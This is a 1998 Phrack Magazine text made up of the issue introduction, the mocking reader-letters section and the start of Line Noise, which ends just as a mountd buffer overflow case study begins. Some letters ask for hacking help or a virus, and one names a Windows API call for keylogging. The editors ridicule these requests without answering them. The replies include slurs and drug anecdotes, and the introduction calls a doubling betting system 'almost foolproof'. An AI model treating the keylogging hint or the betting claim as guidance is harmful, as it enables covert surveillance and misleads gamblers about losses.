

---[Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 01 of 12

-----[P H R A C K 5 4 I N D E X

-----[Living in SYN

Things that we want for Christmas: Functional remote operating system detection. Functional remote promiscuous mode detection. Functional agent based intrusion detection.

A note about this issue. Loyal and perceptive readers will notice this issue is a bit smaller. There are two reasons for this. The first is swift delivery. We are attempting to make Phrack issues a bit more svelte in order to pump them out on a more timely basis. The other reason is quality. There is enough garbage out there. We turn down at least half of all submissions to bring you the good stuff. Enjoy.

Rewind to August 1998.

It's Sunday morning in Las Vegas, about 5:00am-ish. Angstrom and I decide to leave the Hard Rock Hotel. It's been a long night of drinking and gambling. I am up maybe \$200. He's up about \$30. We're both inebriated beyond repair. We return to Jackie Gaughan's Plaza Hotel and Casino, a wretched place where the old go to get older and everyone's got at least one foot in the grave. Back to the Future II? Biff's Pleasure Palace? Welcome to the Plaza Hotel.

Anyhow, we saunter on in, make our way over to the lounge and find Artimage, Asriel, Glyph, and Alhambra.* After some random dialogue (the specifics of which I have completely forgotten) Asriel tells me I should play some more Blackjack.

"I only have hundreds." was my reply. I didn't want to play anymore anyhow. This was the 6th day of my Vegas stint and I was burnt on gambling.

"<shrug> Bet a hundred then." says As.

"<shrug> Ok." I caved.

I plop down on a unoccupied blackjack table and plunk my hundred down. The dealer was a gentle looking 200 year old man from Laos.

"MONEY PLAYZ!" I say. I remember being very drunk.

"Money plays?" He questions? The pit boss wakes up.

"Money plays." I confirm

"Money plays!" He announces to the pit boss. The pit boss scribbles in his book.

Here's where the details get fuzzy. I can't remember the hand I was dealt, nor any subsequent cards. All I know is I played textbook blackjack. That's all you need to know here. I played according to the 'book'. I lost that hundred. At that point, my blackjack betting system kicked in. I lay down 2 more bills.

"Money playz." I repeat.

"Money plays!" He announces to the pit boss. The pit boss scribbles

something else in his little book.

My system is simple and almost foolproof. Bet small when you are just fucking around. Bet big when you want to win big. Lose a big hand? Double your bet. Lose again? Double it again. Lose again? Goto 1. The odds in blackjack tend to hover around .05% house favor (this can vary widely depending on several factors including the type of blackjack, the number of decks, the skill of the player, whether or not the player counts cards, the card counting scheme used, etc**). Eventually, odds are, you will win all your money back, AND THEN SOME!*** Of course, this relies on both your bankroll and the table maximum being unlimited. Small details I usually overlook.

So I lose the 2 hundred.

THE SYSTEM IS STILL IN FULL EFFECT. I plunk down another 4 small.

"Money plays?" The dealer musses? I nod.

"Money plays." The pit boss scribbles.

I lose another hand. Bye-bye 4 hundred.

Asriel is laughing at this point.

"Dude, I think you should quit now." He offers.

"Nah. I'm not done yet."

Hrm. Time to gather my thoughts. No more namby-pamby. Time to separate the armchair gamblers from the hard-core haggard idiot types who end up having to live in Vegas. I peel off 10 hundreds. 1 large is placed in that little betting circle thingy.

"Money plays." The pit boss scribbles, Onlookers gawk, I pray.

Now this hand I remember distinctly. First card: an 8. Hrm. Second card: a 6. Ugh. Dealer shows an 8. FUCK. Oh. Good. Well, that's \$1700 well spent in about 2 minutes. Well. I had to hit. I get a 6. Wow. WOW! Dealer flips his hold card. A 10.

"HAHAHAHAHAHAHAHAHAHA" I proclaim.

"10 blacks out" The dealer shouts. The pit boss stops writing.

"Want to be rated?" He asks.

"Nope! Bye!" And off I went to cash out.

* <http://www.infonexus.com/~daemon9/PIX/Misc/defcon6/r00tdinner%2b/latenite3.jpg>

** Actually, playing basic strategy alone can sometimes give you a pretty close to even odds (or even better than even). Usually, however, you will find that you will need to count cards in addition to basic strategy to have a real advantage.

*** Assoc. Editor's note: If you take this advice, chances are you'll be a very upset and angry gambler come next Defcon. Whine to route when you can't afford a hotel room, not me. Maybe he'll let you sleep on his floor.

A special shout-out to Ron Rivest. It has worked its way down the grapevine that he reads Phrack. Add one more to the Super Elite People That REad Phrack (SEPTREP) list. If you are or know one of these people, please send email to the editor to be added to the list (See linenoise for the list).

A word of caution about P54-06 and P54-10: If you attempt to apply the kernel

patches for these articles in succession on the same system, the second one will fail at the syscalls.master file. You will need to patch this by hand. It's not hard. Go ahead and try it. I trust you.

Enjoy the magazine. It is by and for the hacking community. Period.

```
-- Editor in Chief -----[ route
-- Associate Editor -----[ alhambra
-- Phrack World News -----[ disorder
-- Phrack Publicity -----[ dangergrl
-- Phrack Webpage Guy -----[ X
-- Phrack Typographical fixer -----[ silitek
-- Phrack Special Consultant -----[ redragon
-- Mad Cow disease -----[ sir dystic and dildog
----- Elite -----> daveg
-- Official Phrack/r00t auto -----[ BMW M3
-- Your trusted security advisors -[ p and sw_r
-- Shout Outs and Thank Yous -----[ kamee, vision, artimage, chris, meenk,
-----| the former SNI team, n8, phundie, par,
-----| radium, k0re, horizon, dhg, mds, mudge,
-----| bioh, pm (for the elite dox)
```

Phrack Magazine V. 8, #54, Dec 25th, 1998. ISSN 1068-1035
Contents Copyright (c) 1998 Phrack Magazine. All Rights Reserved. Nothing may be reproduced in whole or in part without written permission from the editor in chief. Phrack Magazine is made available quarterly to the public, free of charge. Go nuts people.

Contact Phrack Magazine

```
-----
Submissions:      phrackedit@phrack.com
Commentary:      loopback@phrack.com
Editor in Chief:  route@phrack.com
Associate Editor: alhambra@phrack.com
Publicist:       dangergrl@phrack.com
Phrack World News: disorder@phrack.com
```

Submissions to the above email address may be encrypted with the following key:

```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2
```

```
mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW
ibPDuf3ecgGezQHMO/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O
vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j
0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W
DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiWCGIngIKt3yG
/v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0GjxwaHJhY2t1ZG10QGlu
Zm9uZXhlcy5jb20+tA9QaHJhY2sgTWFnYXppbmU=
=liyt
-----END PGP PUBLIC KEY BLOCK-----
```

As always, ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED. Phrack goes out plaintext. You certainly can subscribe in plaintext.

```
phrack:~# head -20 /usr/include/std-disclaimer.h
```

```
/*
 * All information in Phrack Magazine is, to the best of the ability of the
 * editors and contributors, truthful and accurate. When possible, all facts
 * are checked, all code is compiled. However, we are not omniscient (hell,
 * we don't even get paid). It is entirely possible something contained
```

* within this publication is incorrect in some way. If this is the case,
* please drop us some email so that we can correct it in a future issue.
*
*
* Also, keep in mind that Phrack Magazine accepts no responsibility for the
* entirely stupid (or illegal) things people may do with the information
* contained herein. Phrack is a compendium of knowledge, wisdom, wit, and
* sass. We neither advocate, condone nor participate in any sort of illicit
* behavior. But we will sit back and watch.
*
*
* Lastly, it bears mentioning that the opinions that may be expressed in the
* articles of Phrack Magazine are intellectual property of their authors.
* These opinions do not necessarily represent those of the Phrack Staff.
*/

-----[T A B L E O F C O N T E N T S

1 Introduction	Phrack Staff	22K
2 Phrack Loopback	Phrack Staff	58K
3 Phrack Line Noise	various	90K
4 Phrack Prophile on the parmater	Phrack Staff	26K
5 Linux and Random Source Bleaching	phunda mental	174K
6 Hardening OpenBSD for Multiuser Environments	route	90K
7 Scavenging Connections On Dynamic-IP Networks	Seth McGann	34K
8 NT Web Technology Vulnerabilities	rfp	40K
9 Remote OS detection via TCP/IP Stack Fingerprinting	Fyodor	58K
10 Defeating Sniffers and Intrusion Detection Systems	horizon	100K
11 Phrack World News	Disorder	240K
12 extract.c	Phrack Staff	32K
		966K

"...a bellvue in the mental hospital world of media whore web pages..."
- xanax on #phrack, 10-13-1998, when asked to comment on Antionline.

"This is not a tool we should take seriously, or our customers should take seriously..."
- Edmund Muth, Microsoft, as reported by the New York Times, referring to Back Orifice. (How many thousands of machines were owned with BO?)

deraadt your style is so unlike anyone elses, that is makes no sense that you have this "style"
- Theo Deraadt, OpenBSD project leader, refering to route's code in this issue.

"So I thought of something useful I could do with the money. I bought a Nintendo 64 for one of my sisters, who has a slight mental retardation. The reason for this was because the doctors have always told us that things to stimulate her hand eye coordination would help her."
- Chameloen of the 'masters of downloading' "hacking group", commenting on why he didn't spend money on medical care for his sister.

-----[P H R A C K 54 L O O P B A C K

-----[Phrack Staff

Phrack Loopback is your chance to write to the Phrack staff with your comments, questions, or whatever. The responses are generally written by the editor, except where noted. The actual letters are perhaps edited for format, but generally not for grammar and/or spelling. We try not to correct the vernacular, as it often adds a colorful perspective to the letter in question.

0x1>-----

My boyfriend turned himself into a transexual and dumped me for another guy. What could you do to help me (please) show him how much I appreciate him? Or, what should I do? THIS letter is no prank. This truly happened and I was hoping for some advice from you so PLEASE don't blow up my computer. Sincerely, B.C.

[I swear to god this is an actual letter. I can't make this stuff up (no sarcastic commentary needed here).]

0x2>-----

An interesting zine you have, but I have to say my favourite part is the loopback section. The writing in the letters is passing at best, while the satirical commentary is absolutely first rate. I just read loopback from #53 and I just kept laughing. Way to go. Hey, as I say, don't take life seriously, it doesn't take you seriously.

[Thank you. We aim to please.]

0x3>-----

What is the system a school uses called? PBX? How can I hack the system and what type of privileges can I gain?

LocoJ

[You can listen to the school officials talking about how much of a retard they think you are and how they are going to hold you back another year.]

0x4>-----

Have you ever wondered how people called hackers keep on annoying government agencies and major corporations?

[I often find myself wondering that very thing.]

Most secure government information is not a secret to these people, no protection guarantees safety against their breaking in.

[No one can eat just one!]

Some people may think that in order to be a hacker one must be extraordinary smart, use expensive equipment and have contacts with the underground world.

[That's about the size of it. And we all have sex with models. That's key.]

This is not true. Recent studies show that a computer user is at least twenty percent smarter than an average person.

[Uh. Yah. That's a great statistic. Who doesn't use a computer these days? The only people not using computers are either mumbling retards or are hooked up to computers to live.]

If you are reading this you are smart enough.

[However, if you are *writing* it, evidently, you're not.]

All the equipment you need is your computer and modem. And try to avoid contacts with the underground world - they are trouble.

[Indeed. Stay away from the people who really know what they are doing. Be sure to blanket yourself with blissful ignorance. Live a sheltered life alone. Stay away from people. They will only hurt you with words.]

All you really need is information.

["..which you won't get here!"]

For the first time information kept secret both by government and hackers is available to public. Our informational report contains everything you need to know about hacking including: *"Hackers 101" - the ultimate and comprehensive step by step guide to how it's done. This incredible guide written by an accomplished hacker especially for beginners will answer following questions:

[Accomplished at bathing himself and being able to tie his left shoelace and most of the right one.]

-What should you know about hacking and where to start?

[Start at your local brothel!]

-Programs needed.

-List of access numbers.

[How about a list explaining what these numbers are supposed to access.]

-How keep yourself safe.

-Cracking programs, what they do and how they work.

-UNIX, an easy approach.

-Password shadowing.

-Dialouts.

-Scanners.

-Brute force hacking.

..and much more.

[-programing for the ultimate idiot
-hookers and pimps: a two day tutorial
-circus animal social engineering
-building chicken flavored air conditioners]

*Hacker resources on the Internet: The most complete collection of real life hackers websites where you can find:

-programs

-tools

-scripts

-most recent know-how and techniques

-news from the world of hacking

[NEWSFLASH: YOU SUCK]

-tones of other useful information.

You can receive our report as a printed material (only \$9), on a floppy in *.txt format (only \$7) or by email in *.txt format/ZIP file (only \$7).

[And you can receive a thump on the head from the Phrack staff if you actually send these precious retards any money.]

For domestic orders S&H is \$1. For orders from Alaska, Hawaii and foreign countries please add \$5 for S&H. For email orders S&H does not apply. Order now and as a free bonus you will receive a guide to Internet sites with thousands of totally free software titles (limited time only). Send cash, check or money order to:

TWS, PO Box 1357 Rancho
Cordova, CA 95741.

For check orders please allow one week for clearance.

[...so i can ask my mom to cash it for me...]

Disclaimer:

Please keep in mind that any information we provide is for educational purposes only.

[Educational? Try mildly recreational at best.]

TWS is not responsible for any actions of its clients.

[...because we have no clients...]

0x5>-----

Before I start, if this is the wrong address I should be grovelling to then I apologize profusely.

[It's probably not the wrong address, but I accept your apology for what will probably be an inane question.]

I'm relatively new to the entire computer world. I mean I've had a computer for a number of years and the internet for about 15 months but I feel that I don't know enough.

[As if one can ever feel that she 'knows enough'.]

I'm BORED with what I can do and I was wondering if you could tell me or

[Bored with nothing I can understand.]

perhaps face me in the direction I need to go to learn how to hack. The very basics. The amoeba level of hacking if you will.

[Ok. Start small. Start with hacking napkins and forks and spoons, then slowly move onto more complex devices like drawers and scissors. Someday you can move on to wall clocks and 'the clapper'. You'll get there eventually.]

Ever since I've been online I've always wanted to know how to hack. You see the articles on captured hackers and the news on firms trying to boost online security and it makes you want to go out there do stuff.

So if you've got the

["Do stuff"? Well. You've certainly got the right mentality. Hey, maybe sometime I can come over to your house and we can watch T.V. or listen to CDs or something.]

time, it would really be appreciated.

Much appreciated,
-Dallor

0x6>-----

do you have a chat room? i was told you could teach me some stuff about computers.i am very new to the computer world @ my old age.i mess my system at every 2weeks do to the fact i dont know what to do!

[I suggest you look into other hobbies. Maybe nursery rhyming?]

- naynay

[Sha-naynay!]

0x7>-----

Hello, just wanted to congratulate you guys for an excellent magazine and keep up the hard work. Also I have noticed that ppl can ask for things. So could I please have a two storey mansion, Porsche, Harley Davidson, yacht, five million dollars, seven beautiful girls (one for each night),
..... thank you :-))

cheers Rundus

[You are a shallow materialistic person Rundus. People all over the world are suffering from famine and disease. Maybe you should give some thought to them.]

0x8>-----

[P53-02@0x12: ... I would like to know more about marshmallows...]

Well, since Phrack has gifted me with so much knowledge, it's time for me to start giving back!

[NIGH time if you ask me...]

Marshmallows date back to Ancient Egypt where the ancients took the roots from a mallow plant/tree and made it into a sticky paste. From there it was cooked to form a puffy yellowish treat for the Pharoahs and such. The mallow "treat" became popular in the 30's as a confectionary treat. However, due to the long process of making these treats, they did not reach the popularity of today until Marshmallow making was revolutionized in the 60's. The "jet-puffed" method was introduced. The sticky base material was mixed with sugars and other additives and puffed using a airation type machine. The marshmallow comes out of the machine in long tubes and is cut to form the shape of what we know as marshmallows today.

For the history of corn flakes, SPAM, or Jello, please contact your neighborhood loser.

[Hrm. I suppose you think marshmallows are in the upper echelon of

confectioneries? WHAT GIVES YOU THE RIGHT?]

My thirst for knowledge is not limited to computer systems. Sadly..

Ray K.

[Tune in next issue when Ray gives a dissertation on Peter Scolari's career in the television industry entitled: "From Bosom Buddy to Honey I'm Drunk Again and Out of Work"...]

0x9>-----

Hey!

I was wondering if you could help me to find some things?

[Sorry bro. I don't know where your family is. I think they've ditched you. I say pick up and move on.]

Well I'm in to games. And I know that x-files have got a game with the same name. Do you know where I can find it so that I can download the game on my computer???

[Hrm. Try Best Buy or maybe Babbages.]

And do you know some good sites where you can find ONLY mp3s???

Thanks for your time
Cybers

[What an excellent and unique nickname!]

0xa>-----

Pretty clever.....I saw the web page on the tv.....PHRACK.....bein' where you come from wasn't hard to find this page.....

[Uh. Rite.]

Just thought it was hilarious and totally in the right to show that not everyone is as safe as they would like to think..... A SUPPORTER of your beliefs I am.....

[Cool. We need more zealots for our secret army.]

Thanks fer showin hacks still live a breath beneath everyone else.....

[Huh?]

after all it's only wrong if you get caught.....consequences dictate the course of ACTION...(REV. JAMES KEENAN MAYNARD,tool)

[Well, actually, getting caught is independent of equity. And letting consequences dictate the course of action seems rather backward and after-the-fact-ish.]

Bit-Basher.....

0xb>-----

Just thought I would write in to voice my concern about a growing problem in our community: Lamers and Idiots.

Alot of the time people ask me what makes up a lamer.

[Perhaps they are asking you because you fit the mold so nicely.]

IN my opinion, if you are 2 or more of these, you are a lamer/idiot.

[In my opinion, you are an idiot if you make lists about what comprises idiocy.]

1- unnecessarily ask for information that any damned idiot could find in 10 minutes on a search engine

[Somehow I doubt people of any level of intelligence come to you for answers. Idiots can smell each other out pretty well.]

2- Talk in leet-speak ("haY d00dZ Eye'm uhn 3l33t hax0r, glv3 m3 p455w0rd5!") and expect everyone to give you the slightest sliver of respect

[Please don't ever email me or Phrack Magazine again. I don't care how much of a good idea it seems, don't do it. The heat death of the universe had better happen before I hear from you again.]

3- Shoot your mouth off about stuff you know NOTHING about

[Or in your case, ANYTHING.]

4- Claim to run or own high sites (ArchAngel claiming to own the L0pht is an excellent example).

[Who the hell is that?]

5- Ask for exact instructions on how to hack a site

[A little game I like to play when I'm bored is 'find the moron'. Woop! There you are!]

There's more criteria, I'm sure, but I just can't think of it.

[BUT HOW WILL THE IDIOTS AMONG US COPE!@?]

Newbies constantly ask to be taught. As for the newbies out there - who are on the verge of becoming lamers - I think the best advice we can

[Oh. No. Nono. Don't do that. Please. 'We'. Do not refer to us as peers.]

give them is that hacking is not a "teachable" skill. It's something that has to be learned through experience - you have to know how things work, how things interact, and that involves educating yourself. Never rely on someone else to give you accurate information - always look for the facts.

[Good plan. Never attempt to learn from anyone. Be your own mentor. School yourself in ignorance.]

Well, I'm not really sure what that rant was about but thanks for listening to it..

[Well if you don't then I sure as hell have *no* fucking idea.]

{BTW Phrack 53 was great. Keep it up.}

[Hey Thanks! Always nice to hear when we're doing a good job!]

0xc>-----

Hey, i'm new at this. how do i get started? see i want to find out some yahoo codes. is there anything i should know? i don't have a clue what is legal and what is not...

[Ok. That's simple. 'Cyberspace' is kinda like the Old West. There's one guy who hangs out and deters criminals with his magic basket of moral redemption. Any wrong-doer who comes in contact with it instantly regrets his sin and is then forgiven. The basket is faulty though and sometimes (about 30% of the time) the person just explodes. However, scientists and alchemists from Brown University are working on a magic pill that will prevent this occasional exploding. It doesn't so much *prevent* the exploding though, as much as it pieces the person back together *after* the explosion. The rub is that you have to take the pill prior to explosion. And no one wants to take the pill because it's like a red flag to the authorities that you are a wrongdoer.

Oh wait, maybe that was a dream I had.]

form Bisker

[Shape-of... a spider monkey! Form-of... a bisker!]

0xd>-----

I need help I know you must be thinking that I am some lamer with AOL and Windows who will never in his life become a hacker.

[I kinda just had you pegged as someone who is scared of punctuation.]

Well, most of that is true but I (Hopefully in time) will become a haker.

[Godspeed.]

I need to know how do I protect my computer from other hackers?

[Ok, I'll give you an insider tip. Here's what we do to keep our computers safe from electronic ruffians: we use them once, then throw them away.]

Are there any .txt documents that you think I should read?

[Check out the one entitled 'My Two Mommies'. It answered _a lot_ of questions for me.]

I need all I can get on this topic so i can finally move on to the next step (I don't know what that is yet my friend is helping me become a hacker).

[Did he read "My Two Mommies"? If not, he's a charlatan. He's probably just telling what you want to hear so you'll sleep with him. I'd shank him once in the leg to be safe.]

I don't care how many things I have to read just as long as I can become a hacker.

[Just think! If you're reading this, you're *that* much closer!]

P.S. I had no clue who to send this to so I picked you (Doesn't that make you feel special?). Also please don't make this public I went to some websites and found Hackers love making fun of lamers and posting the mail they get on there sites so I have this feeling that your going to post this letter somewhere. Just don't please.

[Not a problem. I'll keep this to private email.]

0xe>-----

Just browsed yr web page... you are an interesting person.

[Agreed.]

I 'd love to come to your r00t party (honest); may I?

[Absolutely not.]

I leave in greece and I am planing to travel to the u.s. this xmas.

[That's nice.]

It would be a grate opertunity for me to meet you and your friends.

[Yes, but it's just as good an opportunity for you not to meet us.]

PS: I am not a hacker, I just admire your work.

[Well, thank you very much. That's good to hear.]

liquid, Wed Sep 16 06:24:09 1998

0xf>-----

hi todos

[Who?]

i was just reading some files about hacking and phreaking by french writters
than one or two suggestions came to my mind

(i) stop writing like a pre-pubescent boy with lot of ***eZ and BlabL4(blabla)

[YAH! YOU DAMN FRENCH COMMIE NAZI BASTARDS!]

(ii)be more explicit and professional like in PHRACK

[YAY AMERICA!]

so i hope that i have rung the bell to the wrong door, and that the french
scene does not look like that.

[Huh?]

another thing: does hack include studying and find flaws in religious system ?

[Shure, why not?]

because in fact religious system are formal system based and we can always find
paradox (godel's theorem) if yes i would have a futur paper for phrack

[Alright.]

i have an os name for mythrandir 'TRYOS' it's very short and really summerises
his work

THANK FOR ALL YOU DO FOR THE HACKER COMMUNITY
PHRACK IS THE BEST THING I HAVE EVER READ

[WELL GOOD. IT'S THE BEST THING I HAVE EVER WRITTEN.]

TFAYD.

0x10>-----

man just to let you know, this is some very "educational" info. can't say that i learned a lot, but this info help me catch up the past five years. been in the navy, man it sucked, but i want to commend y'all. but it's like they say, smart enough to do it, then do it, but it's your consequences. to all the "real" people out here in this beloved world, too bad they don't know reality. anyways, this is dope, it is the bomb.

[Word 'em up on the level.]

--vadaka--

0x11>-----

Hi. I am OmniLynx, and I'm thinking of starting a new Web-Zine for hackers.

[Hey! Sounds like a great niche market!]

In the true spirit of hacking, it will be free to anyone who wants it.

[In the true spirit of martyrization and self-glorification.]

Unfortunately, at this point it is still just a thought, because I do not have enough sources to make it any good. I'd like to know if you would want to become a source for my Web-Zine. All you have to do is scout out tips, tricks, news stories, anecdotes, etc. for or about hackers.

[Please, may I? Can I be your intern? I'll be your Jimmy Olsen!
Let me set aside my professional career, my personal life, and my ezine with it's 14+ year history and get _right_ on that.]

Unfortunately, you can't be paid for this, because it is free, but you will

[BAH! Who needs money? Your adulation is payment enough!]

get your name published and, possibly, be able to express your thoughts in a column.

[SHUT UP! I would be able to write a column?!@ Wow! I need to break out my 'Sony's My First Zine Kit' and get started!]

OmniLynx

[Dude. That's ironic. I almost chose the nick 'EverpresentBobcat'.]

0x12>-----

HI phrack,

I am just reading phrack #52 'phrack loopback'.

You are just making me to laugh to dead. Better than any joke mailing-list

[HOLY SHIT! Dude, I don't want anyone to laugh to dead! If everyone laughs to dead, how will I get any repeat business?]

fred

0x13>-----

Been fucking around on the internet for about 3 years. After I got over the intial rush of "WOW, look at all this fuckin software!"

[And porn.]

(and concurrently dumping OS/2 and msdog for Linux), I started reading...and reading....and reading...then I ran into Phrack. In a word - KICKASS!

[Thankz Cartman.]

I've been reading all of the issues the last couple of daze and I'm really impressed with the overall feeling of it. It's great reading about past 'battles' with the telco and systems (Phiber Optik stuff comes mind), the DETAILED instructions given about various terminals, and the schematics and stuff. History, Software and Hardware.

[Don't forget all the great articles about bombs! Smoke bombs, bolt bombs, acetylene bombs, shell bombs... Ah yes, the mid-80's were a tumultuous time when youth felt the need to blow things up.]

Besides pussy and beer, I can think of no more interesting subjects.

[Except perhaps degrading and objectifing women.]

I applaud the way you've kept it going by passing it on. I applaud that you've remained true the idea "All information is public information - and the aquisition thereof". I applaud the fact that it has survived this long - for free. Next to the kernel - PHRACK[0-5][1-9] just might be the most important bits on my machine. Keep it up fuckers - cause sure as taxation without representation, they are gonna try and stomp you (us).

[(you).]

p.s. pointers on to how to hack sendmail to totally rewrite the headers and envelopes to reflect a completely bogus username/system (for purposes of anonymity - such as email like this) would be greatly appreciated. If the pointer is 'grep sendmail ./PHRACK*' then... ..<sheepish grin>....nevermind...

You fuckers rock.....

Deicide

[I've decided you suck.]

0x14>-----

I can prog.....If you tell me how to hack I'll send my best progs.....

[Oh, that sounds like a fair trade.]

I am leada of Warco

[I am Lothar of the Hill People.]

0x15>-----

Can you get me in touch with anyone in Chicago who can help me retrieve

deleted documents from my home computer.
Thank You

[I think Emil is free. Give him a ring.]

0x16>-----

I WAS WONDERING IF YOU KNEW WHERE I COULD FIND OUT HOW TO CONNECT TO AND
HAACK PEOPLE'S PERSONAL COMPUTERS, OR MAY'BE YOU KNOW.

I'D APRECIATE SOME ADVICE,

[Don't breed.]

X-3

0x17>-----

I need An Infectiouse Virus to corupt a small network
If you have any idea where i could get one send me aline

[I need love and understanding. I'll trade you.]

0x18>-----

Hey...I'm not into hacking or anything, but I read an article about you and
Phrack in the Worcester Telegram and Gazzette this morning. I just wanted to
tell you that I feel your not bending to goverment pressure and everything is
very kool. This isn't about anarchy, it's about rights; freedom of the press.
Ya know? Anyhow, I will not take up anymore of your time. Remember, hackers
have rights too.

[Some of us have mean leftz too.]

0x19>-----

It would be nice to be able to contact someone to do some hacking for you
in a specific manner.

[Sorry. We only hack in a vague, nebulous manner.]

Do you have any listings for this type of individuals?

[Try <http://www.fbi.gov/fugitive/fpphome.htm>. We usually recruit from
there.]

0x1a>-----

Hi there!

First off, just let me say how incredibly awesome and all powerful
Phrack is, especially issue 52.

[A SUPREMELY POWERFUL JUGGERNAUT OF EFFICACIOUS POWER!]

You have an amazing 'zine here, and I bow before you and worship the ground
you walk on. In fact, I think world domination is now in your grasp.

[Shure, if all the world was as obsequious as you, we'd be set.]

< Yes, I'm hitting on you :P >

[Cool. Are you a hot chick? If not, back off fagbasket.]

Really though, I'm just writing to thank you for Phrack Loopback.

[A self-fulfilling prophecy. Here we are.]

While everything in Phrack is good, and the majority is great (as rated on

[How can everything be good, yet the majority be great?]

the sliding scale of total goodness), the thing that gives me the most spiritual fulfillment every issue is Loopback. It provides 78% of daily allotted humor and 37% of the required sarcasm for mental well being.

[And now you're a part of the love. *hug*]

So, once more, thank you for the brilliant staff you have at Phrack, and thanks as well to the people who write in!

[KEEP THOSE LETTERS AND CARDS COMING!]

Unit3

0x1b>-----

Hello, i know i am going to sound very lame when i ask this. I would really like it if you could give me a quick breif description on how to hack into system remotely i can hack but i can break into systems without having a login and pw, well thnx ne ways

[You suck.]

0x1c>-----

I don't really know who to contact about this. It's a compliment to all of phrack magazine about the owning thing.

I am glad to see u guys take it well. I don't know if i would be able to take it as well. But it is definitely respectful. I and many other people already respected phrack magazine a lot.. but now I definitely have a lot more respect for phrack.

[Dude, you get anymore respect for us and you'll officially qualify for the 'Phrack Magazine Hoover Super Suck-up Award'. It's a pretegiuous award only given out to a select few. You're defnintely in the running.]

SPy109

0x1d>-----

sir
when i down load an item from your page its in X's O'o and boxes.

[Oh. You must have reached our tic-tac-toe server by mistake. Try the URL again.]

i tryed ms/word note pad/ and no luck. can you help,im also looking for an article on how to go through the back door of AOL

[I think there's one in the Virginia office, on the second floor. It's Penski's office, and he never locks his door, that fucking moron.]

from my office to my home over the Internet.

[Oh. In that case, did you try wishing really, really hard? That usually works for me.]

so i could check on my spouse who i think is doing me wrong.

[Oh, I can assure you, your spouse is up to no good. I think you should definitely get a divorce and take the kids.]

thanks

0x1e>-----

[P53-07: A Stealthy Windows Keylogger]

Dearest Phrack,

I read "A Stealthy Windows Keylogger" in Phrack 53.7. Huh? Just call SetWindowsHookEx(). It's built right into the operating system. It lets you grab key strokes. It's simple. It even works on Windows NT.

There is no reason to go hooking interrupts or writing chunks of inline assembly.

The documentation explains how SetWindowsHookEx() works. If that's still not enough to go on, the Microsoft SDK ships with example programs that grab key strokes.

- Iskra

0x1f>-----

I see and hear all this about hackers; however, I never see and/or hear about how it is done.

[Like ninjas, true hackers are shrouded in secrecy and mystery. You may never know -- UNTIL IT'S TOO LATE.]

The reason I am asking is because of a soon-to-be-ex-wife who stole me cash I

[Are you Irish?]

operate my business with. I know she has placed the money in a bank somewhere in my home town. Is there a way to find out which bank if I know she SSN?

[I bet she's one of those fiery Irish Lass's with flowing locks of red hair and glittering green eyes. You think she'd go for me? How much money she gank from you... Enough for her to run away and lavish me with gifts?]

----[EOF

---[Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 03 of 12

-----[P H R A C K 5 4 L I N E N O I S E

-----[Various

0x1>-----

The r00t/h4gls peace summit - 1998

In a digital world marred by strife and conflict, it was only fitting that the two mega-super powers of the digital underground met for a peace conference somewhere they could partake of the peace pipe. Amidst the quaint silence of the fluttering windmills of Holland, the representatives of their respective parties settled in for a week of negotiations in the heart of Amsterdam.

Day 1:

They paint fake flies (the flying kind, not the zipper kind) on the toilets in the Schlipsteinheinekinoffien airport in Amsterdam, because, as we all know, hackers can't resist a good target. The next stop was to our official reception at the Hotel Ibis. I walked into the room, meeting face to face with 7 of the most notorious and feared hackers alive. My heart raced, and I felt all the sweat glands on my body release in one giant orgasmic instant. And then I started coughing...

Day 2:

My throat severely scarred from the previous day of going to "coffee" shops and buying (legally) some marijuana with such names as "The Elite Buddha", and "Zero Day", we set out for some serious negotiations on the second day. Our mission was to create a truce, allowing the free transportation of our packets, unencumbered, unmodified, and unmonitored, across the Internet. H4gls demanded r00t supply them with "-1 Day" in exchange for peace.

r00t requested a "-1 day" from an Internet savvy street person who kept reminding us of our r00t brother, X. The street person, we'll call him Outlaw, showed us some pills, but they did not appear to be what h4gls was looking for. So, we decided to move on. Outlaw, however, had other ideas. He wanted his 25 guilders to take his aspirin to X, apparently (For those of you unfamiliar, a guilder is the Netherlands unit of money, and roughly resembles monopoly money, except a guilder isn't really worth anything, whereas monopoly is fun!). We refused, and Chico got mad. He started telling us, "WE ARE GOING TO HAVE A PROBLEM SOON." After that, things were "STARTING TO GET VERY SERIOUS." Finally, Chico got pissed off and broke a beer bottle and started going insane, so r00t & h4gls made a temporary truce and started running.

After turning several corners, the mad outlaw was chasing after us with his broken glass wielding in the cold winter night. We were now in the "red light district", the physical equivalent to the place on the Internet where you can buy whores and have sex with them, and people were looking at us funny being chased through the streets.

Day 4:

We slept through day 4.

Day 3:

Things were getting very strange in Amsterdam. Most notably, day 3 happened AFTER day 4. Don't ask me how. It may have related to the fungus located within a "Inner Visions" container that we consumed in the hopes of progressing our talks further. We played some Ultima Online, except we didn't use any computers. I think there was a strange steakhouse experience at some point this day, but I can't provide any further details.

Day 5:

Everything in the world is energy vibrating at different rates. If we can find some way to make our own matter vibrate at a consistently faster rate we can transcend the physical universe and enter the digital plane. I think we need to switch tenses back to the past before. With Outlaw out of the picture, we resumed our negotiations over some spacecakes (its like

a brownie, or a muffin, or a donut, except it has Zero Day in it).

Day 6:

I thought we ate all the shrooms in Day Pi! Ok, fine. Things are easier to handle when you have a vision. Vision is just a hallucination induced by energy waves bouncing around in your head. Your head is cool. COOL is a lame stock. EBAY is insanely overpriced. So are M3s. Mach 3's are cool razors. Razors are sharp. Sharp MD players are too thick. As is Mark's cock. And long!

-r00t & h4g1s

0x2>-----

A CASE STUDY: LINUX MOUNTD STACK OVERFLOW

There is nothing new here, but the code is a text book example of how buffer overflows are done. Even if you have read other articles on buffer overflows you might find something of value in here. Or maybe not. The case studied is the Linux nfsd/mountd vulnerability mentioned in the CERT advisory on Aug 28.

